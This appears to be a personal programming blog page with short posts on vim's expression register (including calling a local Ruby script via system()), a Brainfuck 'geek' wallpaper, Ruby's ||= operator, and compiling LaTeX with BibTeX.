If you press <C-r> (CTRL + r) in vim while in INSERT mode, you will have access to the expression register. This register allows you to execute some commands while in INSERT mode.

For example, if you press <C-r> and then " you will insert the text of the last delete (or yank) from the unnamed register. The following is a list of what you can insert:

"Unnamed register, containing the text of the last delete or yank
%Current filename
#Alternate file name
*Clipboard contents (X11: primary selection)
+Clipboard contents
/Last search pattern
:Last command-line
.Last inserted text
-Last small (less than a line) delete
=Explanation ahead

To view the contents of each of your registers, use :registers

The = sign

The = lets us to access vimscript functions. This means that by using a function like system, we are able to call external utilities and redirecting their output back to our text.

As an example, let's say we want a way to insert a random number between 0 and 100 in vim. The following is a very simple ruby script that generates this random number and prints it on stdout:

#!/usr/bin/ruby

print rand(100)

For the sake of this example, let's say this script is saved at ~/ruby/random.rb

We can now press <C-r> (while in INSERT mode) and when pressing =, we get a mini terminal at the bottom where we can type in the vimscript. Using the system function, we type the following to execute the ruby script, press Enter, and get its output:

=system('~/ruby/random.rb')

A random number should then be inserted in your text.

Now we are going to map a key combination that will let us access the script easier:

:imap <C-j>d <C-r>=system('~/ruby/random.rb')<CR>

imap allows you to map a key in INSERT mode and <CR> means Carriage Return, which basically simulates an 'Enter' press.

Now when we press <C-j>d (CTRL + j, d), we should get a random number inserted in our text from the ruby script.

The mini calculator

As a side note, with <C-r>= you also have a mini calculator in your hands! Try something like this:

<C-r>=5 * 3 + 4<CR>

Try it, and you'll see 19 in your text.

Friday, June 4, 2010

Brainfuck Wallpaper

Tired of your current wallpaper that's been on your screen forever? Maybe it's not geeky enough for you?

Well here's something for you:



For those of you who can't read, it's the word "geek" (without the quotes) in brainfuck. You can try it with this online Brainfuck Interpreter:




+++++[>+++++[>++++<-]<-]>>+++.--..++++++.


Here are some sizes I made:


Sunday, May 30, 2010

Nil-coalescing in Ruby

In Ruby, you can check if an object is nil with the nil? method:

if @foo.nil? then
    @foo = Foo.new
end

But this can be shortened via the || operator:

@foo = @foo || Foo.new

Better yet, we can shorten it even more with the ||= operator:

@foo ||= Foo.new

Both the above assignments assign Foo.new to @foo if and only if @foo is nil or false, else leave @foo as it is.

Saturday, May 15, 2010

Compiling a LaTeX document with Bibtex references

To successfully compile a LaTeX document with Bibtex references, you need to execute 4 steps.

In this case, I'm assuming my document is called MyTexDoc.tex and I want to compile to the pdf file format; for the dvi file format, change the below commands to latex instead of pdflatex.

1. pdflatex MyTexDoc Creates .aux files which include the keywords of your citations
2. bibtex MyTexDoc Extracts cited publications from the .bib file file, using the .aux file and formats them according to your indicated bibliography style. Finally the results are put into a .bbl file
3. pdflatex MyTexDoc Inserts the appropriate reference indications at each citation according to your indicated bibliography style
4. pdflatex MyTexDoc Refines citation and cross references, page formatting and page numbers

Ideally, the above are stored in a shell script (Linux) or batch file (Windows) and execute that file whenever you need to compile the document.